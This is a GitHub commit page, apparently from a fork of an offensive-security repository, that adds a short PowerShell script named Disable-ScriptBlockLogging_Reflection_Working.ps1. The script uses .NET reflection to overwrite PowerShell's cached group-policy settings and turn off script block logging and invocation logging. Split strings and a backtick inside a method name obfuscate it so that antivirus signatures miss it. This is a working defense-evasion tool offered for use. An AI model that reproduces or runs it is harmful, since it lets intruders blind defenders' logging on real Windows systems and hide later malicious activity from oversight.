forked from S3cur3Th1sSh1t/Creds
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Update and rename Disable-ScriptBlockLogging_Reflection.ps1 to Disabl…
…e-ScriptBlockLogging_Reflection_Working.ps1
- Loading branch information
1 parent
0ecaa3f
commit ea02a25
Showing
2 changed files
with
12 additions
and
4 deletions.
There are no files selected for viewing
This file was deleted.
Oops, something went wrong.
12 changes: 12 additions & 0 deletions
12
PowershellScripts/Disable-ScriptBlockLogging_Reflection_Working.ps1
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,12 @@ | ||
$GroupPolicyField = [ref].Assembly.GetType('System.Management.Automation.Utils')."GetFie`ld"('cachedGroupPolicySettings', 'N'+'onPublic,Static') | ||
If ($GroupPolicyField) { | ||
$GroupPolicyCache = $GroupPolicyField.GetValue($null) | ||
If ($GroupPolicyCache['ScriptB'+'lockLogging']) { | ||
$GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0 | ||
$GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0 | ||
} | ||
$val = [System.Collections.Generic.Dictionary[string,System.Object]]::new() | ||
$val.Add('EnableScriptB'+'lockLogging', 0) | ||
$val.Add('EnableScriptB'+'lockInvocationLogging', 0) | ||
$GroupPolicyCache['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging'] = $val | ||
} |